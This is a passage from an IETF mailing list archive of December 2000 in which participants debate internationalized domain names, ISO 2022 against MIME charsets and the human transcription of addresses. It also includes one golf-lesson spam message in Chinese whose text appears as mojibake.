ideal in many ways. Storing it as a bookmark, "favorite" whatever, the underlying machine language is barely encountered. If the local Software browser stored the graphic neatly and presented it well, the author would have total freedom to compose an image of any sorts and have it persist indefinitely. Disorderly but functional. That's why I think the work should continue and broaden, and somehow, I don't know how, get more non-technocrats to try this stuff out. Not rush into global piecemeal application. As of course discussed at length previously, those are reasons to get the protocols perfected in the absence of knowing how to apply them. Subtle work. I'd liek to do more of substance other than theorize. I think I will study the concepts behine unicode this weekend and try to develop a better understanding of that work. Regards to all, Dan Kolis Dan Kolis - Lindsay Electronics Ltd dank@hq.lindsayelec.com 50 Mary Street West, Lindsay Ontario Canada K9V 2S7 (705) 324-2196 Phone (705) 324-5474 Fax (888) 326-5654 Pager Anywhere (888) DANKOLIS {Same #) An ISO 9001 Company; SCTE Member ISM-127194 /Document end From owner-ietf-outbound Thu Dec 7 15:20:39 2000 Received: by ietf.org (8.9.1a/8.9.1a) id PAA27733 for ietf-outbound.10@ietf.org; Thu, 7 Dec 2000 15:20:02 -0500 (EST) Received: from necom830.hpcl.titech.ac.jp (necom830.hpcl.titech.ac.jp [131.112.32.132]) by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA27225 for ; Thu, 7 Dec 2000 15:16:19 -0500 (EST) From: Masataka Ohta Message-Id: <200012072005.FAA20989@necom830.hpcl.titech.ac.jp> Received: by necom830.hpcl.titech.ac.jp (8.6.11/TM2.1) id FAA20989; Fri, 8 Dec 2000 05:05:01 +0900 Subject: Re: Internationalization and the IETF (Re: Will Language Wars Balkanize the Web?) In-Reply-To: <200012070858.eB78w4911325@calcite.rhyolite.com> from Vernon Schryver at "Dec 7, 2000 01:58:04 am" To: Vernon Schryver Date: Fri, 8 Dec 2000 05:05:00 +0859 () CC: ietf@ietf.org X-Mailer: ELM [version 2.4ME+ PL68 (25)] X-Loop: ietf@ietf.org Vernon; > > MIME character sets is an example of a battle fought and won. > > When MIME is used to pass special forms among people whose common > understandings including more or other than ASCII, MIME is a battle > fought and won. FYI, we, Japanese, have, long before MIME, been and still are exchanging local characters purely within the framework of RFCs 821 and 822. See RFC 1468. > MIME is a good *localization* mechanism, either in geography or culture No. ISO 2022 gives the good localization mechanism. Unlike MIME, you can use and we are using it in UNIX files without mail headers, file types, charset tagging nor POSIX locales. ISO 2022 gives proper localization information. It can be used in internationalized computer files to store international characters and on internationalized computer terminals to display international characters. However, even with ISO 2022, it is meaningless to "internationalize" domain names, of course, because ISO 2022 do not "internationalize" people using domain names. The only problem of ISO 2022 is that it is too complex having too much optional features beyond the localization. So, proper profiling, such as that specified in RFC 1468, is essential. Then, ISO 10646 *simplified* ISO 2022 by removing the essential feature of localization keeping all the other complexities, many of which are now, though ignored, mandated. MIME charset may be useful for ISO 10646. MIME charset can supply the localization information to ISO 10646 as I demonstrated, as a silly joke, in RFC 1815. Masataka Ohta PS Note that MIME charsets of "ISO-8859-*" also removes the essential but optional feature of ISO 2022 to give localization information inline, which makes MIME useful for "ISO-8859-*". From owner-ietf-outbound Thu Dec 7 16:10:23 2000 Received: by ietf.org (8.9.1a/8.9.1a) id QAA06143 for ietf-outbound.10@ietf.org; Thu, 7 Dec 2000 16:10:02 -0500 (EST) Received: from gungnir.fnal.gov (gungnir.fnal.gov [131.225.80.1]) by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA05999 for ; Thu, 7 Dec 2000 16:09:06 -0500 (EST) Received: from gungnir.fnal.gov (localhost [127.0.0.1]) by gungnir.fnal.gov (8.9.1/8.9.1) with ESMTP id PAA21149 for ; Thu, 7 Dec 2000 15:09:06 -0600 (CST) Message-Id: <200012072109.PAA21149@gungnir.fnal.gov> To: ietf@ietf.org From: "Matt Crawford" Subject: Re: Internationalization and the IETF (Re: Will Language Wars Balkanize the Web?) In-reply-to: Your message of Thu, 07 Dec 2000 11:59:49 MST. <200012071859.eB7Ixne22333@calcite.rhyolite.com> Date: Thu, 07 Dec 2000 15:09:06 -0600 Sender: crawdad@gungnir.fnal.gov X-Loop: ietf@ietf.org > If the world had asked you or me to design an international > language, I think either of us would have done better. Don't be too sure. Even today, there are no more speakers of Esperanto than of Mayan. From owner-ietf-outbound Thu Dec 7 16:30:27 2000 Received: by ietf.org (8.9.1a/8.9.1a) id QAA10539 for ietf-outbound.10@ietf.org; Thu, 7 Dec 2000 16:30:03 -0500 (EST) Received: from astro.cs.utk.edu (ASTRO.CS.UTK.EDU [128.169.93.168]) by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA07642 for ; Thu, 7 Dec 2000 16:16:52 -0500 (EST) Received: from astro.cs.utk.edu (LOCALHOST [127.0.0.1]) by astro.cs.utk.edu (cf 8.9.3) with ESMTP id QAA25389; Thu, 7 Dec 2000 16:16:46 -0500 (EST) Message-Id: <200012072116.QAA25389@astro.cs.utk.edu> X-URI: http://www.cs.utk.edu/~moore/ From: Keith Moore To: dank@hq.lindsayelec.com (Dan Kolis) cc: ietf@ietf.org Subject: Re: Balkanize - IDN In-reply-to: Your message of "Thu, 07 Feb 2036 02:05:56 EST." <20360207070556549.AAA276@hq.lindsayelec.com@hq.lindsayelec.com> Date: Thu, 07 Dec 2000 16:16:46 -0500 Sender: moore@cs.utk.edu X-Loop: ietf@ietf.org > One reason the IDN thing is so daunting is the work arounds are not that > bad. For instance, you can embed a backgroundless GIF into a web page and > have any ideogram link to a URL. That's nearly ideal in many ways. only if you assume that people "nearly" always get domain names (or things that contain domain names, like email addresses and URLs) from web pages. in practice the contexts in which domain names appear and are transcribed are far more diverse than that. what you are saying, in effect, is that people who don't speak English don't need to be able to transcribe domain names from other contexts. Keith From owner-ietf-outbound Thu Dec 7 17:10:15 2000 Received: by ietf.org (8.9.1a/8.9.1a) id RAA15555 for ietf-outbound.10@ietf.org; Thu, 7 Dec 2000 17:10:03 -0500 (EST) Received: from hq.lindsayelec.com (lindsayelec.quicklinks.on.ca [216.129.40.27]) by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA15251 for ; Thu, 7 Dec 2000 17:07:51 -0500 (EST) Received: from hq.lindsayelec.com ([191.1.2.200]) by hq.lindsayelec.com (Post.Office MTA v3.5.3 release 223 ID# 0-66079U100L100S0V35) with SMTP id com for ; Thu, 7 Dec 2000 17:11:08 -0500 Received: FROM dank BY hq.lindsayelec.com ; Thu Dec 07 17:11:08 2000 -0500 X-Sender: dank@191.1.2.250 X-Mailer: Windows Eudora Version 2.0.3 Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" To: ietf@ietf.org From: dank@hq.lindsayelec.com (Dan Kolis) Subject: Re: Balkanize - IDN ii Date: Thu, 7 Dec 2000 17:11:08 -0500 Message-ID: <20001207221108841.AAA72@hq.lindsayelec.com@hq.lindsayelec.com> X-Loop: ietf@ietf.org Dan Kolis dank@hq.lindsayelec.com said: One reason the IDN thing is so daunting is the work arounds are not that bad. For instance, you can embed a backgroundless GIF into a web page and have any ideogram link to a URL. That's nearly ideal in many ways. Keith Moore moore@cs.utk.edu said: >only if you assume that people "nearly" always get domain names >(or things that contain domain names, like email addresses and URLs) >from web pages. in practice the contexts in which domain names appear >and are transcribed are far more diverse than that. >what you are saying, in effect, is that people who don't speak English >don't need to be able to transcribe domain names from other contexts. Dan K says: Magazines have absolutely no interest in making it possible to enter URL sucessfully you find in a printed publication. They insert hypens, kern, change underlining, all sorts of sins in printing URLs. They have had enough years handling these objects to not mangle them. Your not speaking any language when you select characters and entering them anyway. Your just finding the right buttons to press. I've suggested a regime that has some tricky_to_build slop in it, so you get the same results with or without much attention to detail. This is only in the context of DNS entries. People surely have a right to make stuff look as elaborate as they like, the question is, if they don't to that, do they get punished for what they don't know how to do. General question: Jon Postel got amazing results... Many of the old(er) timers in this business must have talked to him at length about the DNS. What was his take on this sort of thing? Regards, Dan Kolis From owner-ietf-outbound Thu Dec 7 17:40:23 2000 Received: by ietf.org (8.9.1a/8.9.1a) id RAA20103 for ietf-outbound.10@ietf.org; Thu, 7 Dec 2000 17:40:02 -0500 (EST) Received: from hq.lindsayelec.com (lindsayelec.quicklinks.on.ca [216.129.40.27]) by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA18880 for ; Thu, 7 Dec 2000 17:29:56 -0500 (EST) Received: from hq.lindsayelec.com ([191.1.2.200]) by hq.lindsayelec.com (Post.Office MTA v3.5.3 release 223 ID# 0-66079U100L100S0V35) with SMTP id com for ; Thu, 7 Dec 2000 17:33:11 -0500 Received: FROM dank BY hq.lindsayelec.com ; Thu Dec 07 17:33:10 2000 -0500 X-Sender: dank@191.1.2.250 X-Mailer: Windows Eudora Version 2.0.3 Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" To: ietf@ietf.org From: dank@hq.lindsayelec.com (Dan Kolis) Subject: Babel and the works of many - IDN Date: Thu, 7 Dec 2000 17:33:11 -0500 Message-ID: <20001207223311292.AAA329@hq.lindsayelec.com@hq.lindsayelec.com> X-Loop: ietf@ietf.org Matt Crawford crawdad@fnal.gov said: >> If the world had asked you or me to design an international >> language, I think either of us would have done better. Dan Kolis dank@hq.lindsayelec.com says: Well in biblical theology; I've heard it goes like this: Everyone on earth (well on the building site for sure) could understand each other, then "God so feared man (details apparently lacking, something about a building project going too well in Babel)", he inflicted suddenly all different languages on them and they screwed up the tower. No wonders its a hard problem. Its been designed by a supreme being to be difficult! I think more committee members are required. (oh, and something about some other attribute; some dudes in the crowd could understand everyone anyway, and be understood while the others thrashed around, freaked out). Some holy parameter they had. I don't know how you get that accreditation. Makes me think of Douglas Adam's "Babelfish". Regs, "A Babelfish in the ear to you!", Dan Dan Kolis - Lindsay Electronics Ltd dank@hq.lindsayelec.com 50 Mary Street West, Lindsay Ontario Canada K9V 2S7 (705) 324-2196 Phone (705) 324-5474 Fax (888) 326-5654 Pager Anywhere (888) DANKOLIS {Same #) An ISO 9001 Company; SCTE Member ISM-127194 /Document end From owner-ietf-outbound Thu Dec 7 17:50:09 2000 Received: by ietf.org (8.9.1a/8.9.1a) id RAA21420 for ietf-outbound.10@ietf.org; Thu, 7 Dec 2000 17:50:03 -0500 (EST) Received: from atkielski.com (atkielski.com [161.58.232.69]) by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA19175 for ; Thu, 7 Dec 2000 17:31:58 -0500 (EST) Received: from triplex (ASt-Lambert-101-2-1-14.abo.wanadoo.fr [193.251.59.14]) by atkielski.com (8.8.8) id XAA75855; Thu, 7 Dec 2000 23:31:59 +0100 (CET) Message-ID: <02f101c0609d$839cd7c0$0a00000a@triplex> From: "Anthony Atkielski" To: References: Subject: Re: Internationalization and the IETF Date: Thu, 7 Dec 2000 23:31:55 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit > Yes. 555-1212 (and it's regional equivalents). No. That number only works in certain places, for certain numbers, not everywhere for everything. > It's still name-to-address mapping. But it is not universal and worldwide. DNS may represent the same oversight that IP addressing schemes have included thus far. Perhaps there are lessons to be learned from the experience of the telephone network. From owner-ietf-outbound Thu Dec 7 18:40:13 2000 Received: by ietf.org (8.9.1a/8.9.1a) id SAA28267 for ietf-outbound.10@ietf.org; Thu, 7 Dec 2000 18:40:02 -0500 (EST) Received: from astro.cs.utk.edu (ASTRO.CS.UTK.EDU [128.169.93.168]) by ietf.org (8.9.1a/8.9.1a) with SMTP id SAA24583 for ; Thu, 7 Dec 2000 18:28:12 -0500 (EST) Received: from astro.cs.utk.edu (LOCALHOST [127.0.0.1]) by astro.cs.utk.edu (cf 8.9.3) with ESMTP id SAA00571; Thu, 7 Dec 2000 18:28:08 -0500 (EST) Message-Id: <200012072328.SAA00571@astro.cs.utk.edu> X-URI: http://www.cs.utk.edu/~moore/ From: Keith Moore To: dank@hq.lindsayelec.com (Dan Kolis) cc: ietf@ietf.org Subject: Re: Balkanize - IDN ii In-reply-to: Your message of "Thu, 07 Dec 2000 17:11:08 EST." <20001207221108841.AAA72@hq.lindsayelec.com@hq.lindsayelec.com> Date: Thu, 07 Dec 2000 18:28:07 -0500 Sender: moore@cs.utk.edu X-Loop: ietf@ietf.org > Magazines have absolutely no interest in making it possible to enter URL > sucessfully you find in a printed publication. they do a much better job when the URL appears in paid advertisement copy. From owner-ietf-outbound Thu Dec 7 18:50:12 2000 Received: by ietf.org (8.9.1a/8.9.1a) id SAA01171 for ietf-outbound.10@ietf.org; Thu, 7 Dec 2000 18:50:04 -0500 (EST) Received: from NOD.RESTON.MCI.NET ([166.60.6.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id SAA25306 for ; Thu, 7 Dec 2000 18:31:17 -0500 (EST) Received: from vint.mci.net ([166.60.14.239]) by shoe.reston.mci.net (PMDF V5.2-32 #40475) with ESMTPA id <01JXFL2FPRPK9LVO6I@shoe.reston.mci.net> for ietf@ietf.org; Thu, 7 Dec 2000 18:31:18 EST Date: Thu, 07 Dec 2000 18:21:18 -0500 From: vint cerf Subject: Re: Balkanize - IDN ii In-reply-to: <20001207221108841.AAA72%hq.lindsayelec.com@hq.lindsayelec.com> X-Sender: vcerf@shoe.reston.mci.net To: dank@hq.lindsayelec.com (Dan Kolis), ietf@ietf.org Message-id: <5.0.2.1.2.20001207182016.02b4c008@shoe.reston.mci.net> MIME-version: 1.0 X-Mailer: QUALCOMM Windows Eudora Version 5.0.2 Content-type: text/plain; charset=us-ascii Content-transfer-encoding: 7BIT Content-Transfer-Encoding: 7BIT X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7BIT keep it simple. roughly: be tolerant in what you receive and conservative in what you send - (to promote interoperability). vint At 05:11 PM 12/7/2000 -0500, Dan Kolis wrote: >General question: >Jon Postel got amazing results... Many of the old(er) timers in this >business must have talked to him at length about the DNS. What was his take >on this sort of thing? From owner-ietf-outbound Thu Dec 7 20:40:17 2000 Received: by ietf.org (8.9.1a/8.9.1a) id UAA26897 for ietf-outbound.10@ietf.org; Thu, 7 Dec 2000 20:40:04 -0500 (EST) Received: from mail.i-dns.net (mail.i-dns.net [203.126.116.228]) by ietf.org (8.9.1a/8.9.1a) with SMTP id UAA26511 for ; Thu, 7 Dec 2000 20:38:32 -0500 (EST) Received: from jamessonyvaio (unknown [63.214.43.45]) by mail.i-dns.net (Postfix) with SMTP id 46DFEFFC04; Fri, 8 Dec 2000 09:38:38 +0800 (SGT) Message-ID: <03c101c060b7$4ee7ce30$75640a0a@jamessonyvaio> From: "James Seng/Personal" To: , "Dan Kolis" References: <20001207221108841.AAA72@hq.lindsayelec.com@hq.lindsayelec.com> Subject: Balkanize = IDN? Date: Fri, 8 Dec 2000 09:36:33 +0800 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit I have refrained myself from participating in this discussion so far but it got to a point where i feel there is a need for clarification. a) Discussion here assumed that balkanize of the Internet = IDN. Why so? Probably because IDN is bring something most people here not able to understand. I have no intention to argue to those who based upon "if I dont understand it, you are balkanizing" since it is probably pointless self-centric argument. However, what is important to clarify is that IDN WG is not trying to balkanize the Internet. In fact, we are trying to do the reverse, ie, prevent the balkanization by defining an interoperable standard for IDN. Put it this way: There are probably worst method to define IDN such as letting the Industry determine it... b) I can see Ohta-san back on the topic of IDN and LDN (I18N vs L10N). Once again, I can go on a long argument with the choice of names, OR; I can go on and do something more productive. I choose the latter since in some sense, there is no differences in that we are trying to introduced non-ASCII characters into domain names. Call it what you like. c) The IDN WG is making huge progress in the little time we have and the pressure. There are two design team working on the protocol and something called "nameprep" in IDN termiology. I have no presumation on when we can finish our work but I hope soon. For those interested, http://www.i-d-n.net/ is the official WG site. d) IDN is one of the latest I18N thing to hit IETF. It is not the first and I am sure it is not the last. It is important for IETF as a whole to think how to deal with I18N in general. There is no point taking all these attempts as threat of balkanization. Rejecting them in IETF would only results these to be done elsewhere. I have no opinion whether doing in IETF or outside IETF is 'better' but that it is a choice we all in IETF have to made. There is no right or wrong but whether you like it or not, it is coming. -James Seng From owner-ietf-outbound Fri Dec 8 00:20:23 2000 Received: by ietf.org (8.9.1a/8.9.1a) id AAA23926 for ietf-outbound.10@ietf.org; Fri, 8 Dec 2000 00:20:04 -0500 (EST) Received: from www.lookgolf.com ([203.75.246.194]) by ietf.org (8.9.1a/8.9.1a) with SMTP id AAA20321 for ; Fri, 8 Dec 2000 00:10:42 -0500 (EST) Received: (from httpd@localhost) by www.lookgolf.com (8.9.3/8.9.3) id NAA30433; Fri, 8 Dec 2000 13:16:54 +0800 Date: Fri, 8 Dec 2000 13:16:54 +0800 Message-Id: <200012080516.NAA30433@www.lookgolf.com> To: ietf@ietf.org Subject: 001208ù¶}°ªº¸¤Ò¹q¤l³ø¡m²y§Þ¤j¶iÀ»¡n¶i¶¥24½Ò¡@¥Î¤@ªK²y±ì«Ø¥ß¥¿½Tªº¯¸«º From: Thomas@lookgolf.com X-Mailer: Postlister 1,16 X-Loop: ietf@ietf.org ¡m²y§Þ¤j¶iÀ»¡n¶i¶¥24½Ò¡i¹ê¦aºt½m¡j¡@¥Î¤@ªK²y±ì«Ø¥ß¥¿½Tªº¯¸«º ù¸ÎÀM@ù¶}°ªº¸¤Ò¾Ç°|°|ªø ¡@¡@¤j³¡¤Àªº²y¤Í³£·|¦³¦±²yªº²{¶H¡A¦³®É¡A¬Æ¦Ü³sÀ»²yÂI³£¤£¬O´x´¤ªº«Ü¦n¡C³o­Ó²{¶H¤£¯à¥Î°Ê§@ªºÆ[©À¨Ó¼fµø¡A¥i¯à¬O¦Ù¦×ºò±i¡A©ÎªÌ¬O¡u¾m­I¡v¡C ¡@¡@´X¥G¨C­Ó²y¤Í¡A©Î¦h¡B©Î¤Ö¡A³£¦³¾m­Iªº²ßºD¡C ¡@¡@¥Ñ©ó²y³õ¤W¡B²y¹D¤¤¡A·¥¤Ö¦³¥­©Zªº¦a§Î¡F¦³®É¡A¬°¤F±N²yÀ»¦^²y¨ì¤¤¥¡¡A°t¦X²y¹D¤¤·î§Î¦a§Î¡A©Î¬O¦]¬°²y¦ì¤Q¤À§¢©V¡A¬°¦¹¡B¯¸«º¤£±o¤£°t¦X¦a§Î­×§ï¡A³oºØª¬ªp¤U¡A¦pªG¯¸«º¦³ÂI¾m­I¡A¤]¬O¥¿±`ªº¤ÏÀ³¡C ¡@¡@¦ý¬O¡A¦pªG³B¦b¥­©Zªºµo²y°Ï¡A©Î¬O¦b½m²ß³õ¤W¡B½m²ß´§±ì°Ê§@¡A¦¹®É¡A§Aªº¯¸«º¡B¦pªG¬O»øµw¡A©Î¬O¦]¬°¤W¥b¨­¹L©óª`·N²yªº¦ì¸m¡A¦Ó²£¥Í¾m­Iªº²{¶H¡A²y¸ô¦]¦¹¦³Ås¦±¡A©Î¬O¡A¦]¦Ó´x´¤¤£¨ìÀ»²yÂI¡C¡u­×¥¿¯¸«ºªº¨¤«×¡v¡A´N¦¨¤F·í°È¤§«æ¡C ¡@¤@¯ë¤HÀ»²y«eªº«ù±ì°Ê§@²ßºD¡G 01.±N²y±ì©ñ¦b¦a¤W¡C 02.¥Î¥ª¤â¸Õ¹Ï¥h´¤ºò²y±ì¡C 03.¦A¥Î¥k¤â¦º©Rªº´¤¦í²y±ì¡C 04.µM«á¡A¤~¥¿¦¡¶i¦æ¡BÀ»²yªº´§±ì°Ê§@¡C ¡@¡@§Ú»{¬°¡A©h¥B¤£½Í¡B¥H¤Wªº·Ç³Æ°Ê§@¡A¨BÆJ¦X¤£¦X©y¡A¦n¤£¦n¡H­º¥ý¡A¤W­z°Ê§@³Ì»Ý­n­×§ïªº²Ä¤@­n¶µ¬O¡u¯¸«º¡v¡C ¡@ù°|ªø±ÀÂ˲©ö¦³®Äªº´®±ìÁB¥¿ªk¡G 01.¦b­I«á¡Bª½´®¤@ªK²y±ì¡C 02.Áv³¡ºÉ¶q©¹«á¼¡C 03.¨â»L½¥»\Ås¦±¡B««ª½©ó²y¦y¤W¤è¡C 04.»´Âà¤W¥b¨­¡A½m²ß¤O¶qÂಾ¡C 05.¦V¥kÂਭ®É¡A¨â»L«O«ù¤£°Ê¡C 06.¦V¥ªÂਭ®É¡A¥k¸}½¥»\¶Kºò¥ª¸}½¥»\¡C ¡@¡@¦h¥[½m²ß¥H¤W¨BÆJ¡A²ßºD«á¡A§A¦ÛµM¦³¤@­Ó¡A©Ò¿×¦ÛµMªºÂਭ°Ê§@¡A»P¥¿½Tªº¯¸«º¡C *********************************************************************** ¡m·s¤â¤W²y³õ¡n¹êªp³ø¾É¢±¡@§Úªº²y¦b­þ¸Ì¡H Moria@ù¶}°ªº¸¤ÒÀW¹D½s¿è ¤W³õ²y¤Í¡GL¥ý¥Í¡BL¤Ó¤Ó¡BL¤p«Ä¡BH¨k«Ä ²y³õ¡G¥x¥_¸U¨½»B»A²y³õ ¡u¨º¬O§Úªº²y°Õ¡I§Aªº¦b¯óÂO¨ºÃä¡I¡v ¡u¬O¶Ü¡H§Úªº²y¦n¹³¬O±¼¨ì³oÃä¨Ó¡I¡v ¡@²Ä1¬}ªº¶}²y¦bL¥ý¥Í»PH¨k«Ä¦U¸É¶}¤@²y«á¡AÁ`ºâ¬O¯à©¹«e²¾°Ê¤F¡CµM¦Ó¡A¥|­Ó¤H¦P¼Ëªº°ÝÃD«o¨Ó¤F¡G¡u§Úªº²y¦b­þ¸Ì¡H¡v ¡@ÁöµM¡A²y³£¶}¥X¥h¤F¡A¦ý¬OÀ»²y¥X¥h«á¡A­n¥Î²´·ú§ì¨ì¦Û¤v²yªº¸¨ÂI¡A¹ï¥L­Ì¨Ó»¡¦³ÂI§xÃø¡C°£¤F¡AL¤p«Äªº²y°±¦b³Ì»·³B¥~¡A¨ä¾l¤T¤H³£¦b®t¤£¦hªº¦ì¸m¡A¦A¥[¤W´²¸¨¦b²y¹DÃ䪺µL¥D¥Õ²y¡A²y¹D¤¤ªº³o´X±ì¡A«KÅã±o¦³ÂI²V¶Ã¡C ¡@©¯Á«Caddie²´¦y¡A¤@­Ó­Ó§â¥L­Ì²yªº¦ì¸mµ¹§ì¥X¨Ó¡A¤£µM¡AÁÙ¯u±o¦U¦Û¬DÁû²y¥´¡C¨ÌµÛL¥ý¥Í¡BL¤Ó¤Ó¡BH¨k«Ä¡BL¤p«Ä¶¶§Ç¡A¥L­ÌÄ~Äò§â²y±æªGÀ­¤è¦V±À¶i¡C ¡@²y¦b³Ì»·ªºL¤p«Ä¦ü¥G¦³¨Ç¿³¾Ä¡AÁöµM´§±ì®ÉL¥ý¥Í¦Ñ¬O¦b¥L®ÇÃä´£¿ô¡G¡u¤£­n§CÀY¡A¬Ý«e¤è¡C¡v¦ý¡A²ßºD¦ü¥G«ÜÃø¦b¤@®É¶¡§ó§ï¡A¥L¸òCaddie´«¤FÅK±ì«á¡A´N«æ¦£¦£¦a©¹«e¶]¡A¤]¨S¦h·Q³Ì«áÀYªºL¥ý¥Í¥¿·Ç³Æ­n´§±ì¡Aª½¨ì¤j®a³Û¥L°±¡A¥L¤~«éµM¤j®©¶]«e­±¦³¥i¯à³Q²yÀ»¤¤¡C ¡@L¥ý¥Í»PH¨k«Ä³£®³¤F²y¹D¤ì±ì¡A¤@¥I·Ç³Æ§â¶}²yªº¥¢»~±Ï¦^¨Óªº¼Ë¤l¡C¤£¹L¡A¥i¯à¬O¤ß«æ§a¡HL¥ý¥Í³º¤@´§¸¨ªÅ¡C¡uºC¤@ÂI¡A¤£­n«æ¡I¡vCaddie¦b¤@®Ç²¤¥[´£¿ô¡A¦ý¬OL¥ý¥Í¦A´§¡A«o¶È«õ°_¤F¤@¯ó¥Ö¡A²y³s°Ê³£¨S°Ê¡C¨SÃö«Y¡A¦A¨Ó¤@±ì¡IÁ`ºâ§â²yÀ»¥X¡C ¡@¦Ó¤@®ÇªºH¨k«Ä¦ü¥G´N¤ñL¥ý¥Í©¯¹B¡A¤@±ì§Y§â²yÀ»­¸¡C²y­¸ªº°ª¨Ç¡A¦b¥ú½u¼vÅT¤U¡A¥uÅ¥¨ì¸¨¦aÁn¡A«o¬Ý¤£¨ì¸¨¦aÂI¡C ¡@Ä~Äò©¹«e¨«¡AÁÙ¬O§ä¤£¨ìH¨k«Äªº²y¡ACaddie¥u¦n½ÐH¨k«Ä¦bªþªñ¸É¤@Áû¡C¡u²yÁÙ°÷¶Ü¡H¡vCaddie¡A¤S¸É¤W¤@¥y´£¿ô¡C¬°¤F²Ä¤@¦¸¤W²y³õ¡A¥L­Ì¨C¤H³£¦³20Áû²y³Æ¥Î¡A§Æ±æÁÙ¯à°÷¥Î¡I ¡@ªñ500½Xªø«×ªº²Ä1¬}¹ï¥L­Ì¦Ó¨¥¡A§Ï©»¬O»»»·ªº¸ô³~¡A¦]¬°¥­§¡¨C±ì¤£¨ì100½Xªº±À¶i³t«×¤Î¸É²y¡B±Ï²yµ¥¡AÅý¤H¤£¸T«ä¦Ò¤@­Ó·s¤âªºµ¦²¤¡G¬JµMÁÙÃø´x´¤¤ì±ì»P²yªº¤è¦V¡B¶ZÂ÷¡AÁÙ¤£¦p¦Ñ¦Ñ¹ê¹ê¥ÎÅK±ì¥H¦w¥þ¥´ªk«e¶i¡A¤]³\±ì¼ÆÁÙ¯à¤Ö¨Ç¡C ¡@¤WªGÀ­«e¡AH¨k«Äµo²{¤F¥Lªº²Ä¤@Áû²y¡A­ì¨Ó¨S¦³±¼¤J¤s¨¦¡A¦Ó¬O¥d¦bÃä½tªº¾ðÃä¡CªGÀ­¡AÁ`ºâÅܱo¶ZÂ÷¥i¿Ë¤F¡A¥u¬O¡A³o²Õ¤H¨Ó¨ìªGÀ­«e20½X¥ª¥k®É¡A«o¤S°±¨B±r«Þ¤F¡C¡]©ú¤é«ÝÄò¡^ £j£j£j£j£j£j£j£j£j£j£j£j£j£j£j£j£j£j£j£j£j£j£j£j£j£j£j£j£j£j£j£j£j£j£j£j£j£j£j£j£j£j£j£j£j£j£j£j£j£j£j£j£j£j£j£j£j£j£j ¡@¡@¡@¡@¡@¡@¡@¡@¡@¡@¡@ºô¸ô´§±ì¡A´N¬ÝLookgolf¡I ¡@¡@¡@¡@¡mù¶}°ªº¸¤Ò¹q¤l³ø¡nª©Åv©Ò¦³¡A¥¼¸g³\¥i½Ð¤Å±i¶KÂà¸ü ¡Eù¶}°ªº¸¤Ò¡G http://www.lookgolf.com ¡EªA°È«H½c¡G service@lookgolf.com ¡E³sµ¸¹q¸Ü¡G¡]02¡^2651-6797 From owner-ietf-outbound Fri Dec 8 01:20:25 2000 Received: by ietf.org (8.9.1a/8.9.1a) id BAA17758 for ietf-outbound.10@ietf.org; Fri, 8 Dec 2000 01:20:03 -0500 (EST) Received: from joy.songbird.com (IDENT:root@songbird.com [208.184.79.7]) by ietf.org (8.9.1a/8.9.1a) with SMTP id BAA16491 for ; Fri, 8 Dec 2000 01:17:11 -0500 (EST) Received: from dcrocker.dcrocker.net (node-64-145-172-82.dslspeed.zyan.com [64.145.172.82]) by joy.songbird.com (8.9.3/8.9.3) with ESMTP id WAA14736; Thu, 7 Dec 2000 22:17:07 -0800 Message-Id: <5.0.1.4.2.20001207183910.0360fb00@joy.songbird.com> X-Sender: dhc2@joy.songbird.com X-Mailer: QUALCOMM Windows Eudora Version 5.0.1 Date: Thu, 07 Dec 2000 18:47:11 -0500 To: "Robert G. Ferrell" From: Dave Crocker Subject: bookmarks (was Re: Internationalization and the IETF) Cc: ietf@ietf.org In-Reply-To: <200012071506.JAA13466@rgfsparc.cr.usgs.gov> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-Loop: ietf@ietf.org At 09:06 AM 12/7/00 -0600, Robert G. Ferrell wrote: >I would hazard a guess that the vast majority >of Internet message addressing is done automatically through the use of >bookmarks/hyperlinks or email address books, anyway. This line of reasoning has shown up regularly for 20 years, or so. Yes, before the web. The claim, then, was about email address book dominance. However much such point-and-click mechanisms get used, there remains the need for human-to-human, non-electronic transfer of addresses, be they email or web, on billboards, business cards, and the like. If we did not already have very wide-scale use of ascii, it might be worth considering numerals as the common form. But that wide-scale use is everywhere. The entire point behind the IDN effort is to let communities use domain names in a form that is particularly comfortable for that community. This does not eliminate a "common" form; nor does it show up any particular deficiencies of ascii as that form, nor benefits of digits as the form. d/ =-=-=-=-= Dave Crocker Brandenburg Consulting Tel: +1.408.246.8253, Fax: +1.408.273.6464 From owner-ietf-outbound Fri Dec 8 01:30:33 2000 Received: by ietf.org (8.9.1a/8.9.1a) id BAA22331 for ietf-outbound.10@ietf.org; Fri, 8 Dec 2000 01:30:04 -0500 (EST) Received: from joy.songbird.com (IDENT:root@songbird.com [208.184.79.7]) by ietf.org (8.9.1a/8.9.1a) with SMTP id BAA16680 for ; Fri, 8 Dec 2000 01:17:34 -0500 (EST) Received: from dcrocker.dcrocker.net (node-64-145-172-82.dslspeed.zyan.com [64.145.172.82]) by joy.songbird.com (8.9.3/8.9.3) with ESMTP id WAA14729; Thu, 7 Dec 2000 22:17:04 -0800 Message-Id: <5.0.1.4.2.20001207183448.035f1e20@joy.songbird.com> X-Sender: dhc2@joy.songbird.com X-Mailer: QUALCOMM Windows Eudora Version 5.0.1 Date: Thu, 07 Dec 2000 18:37:10 -0500 To: Graham Klyne From: Dave Crocker Subject: end to end (Re: Will Language Wars Balkanize the Web?) Cc: "Martin J. Duerst" , ietf@ietf.org 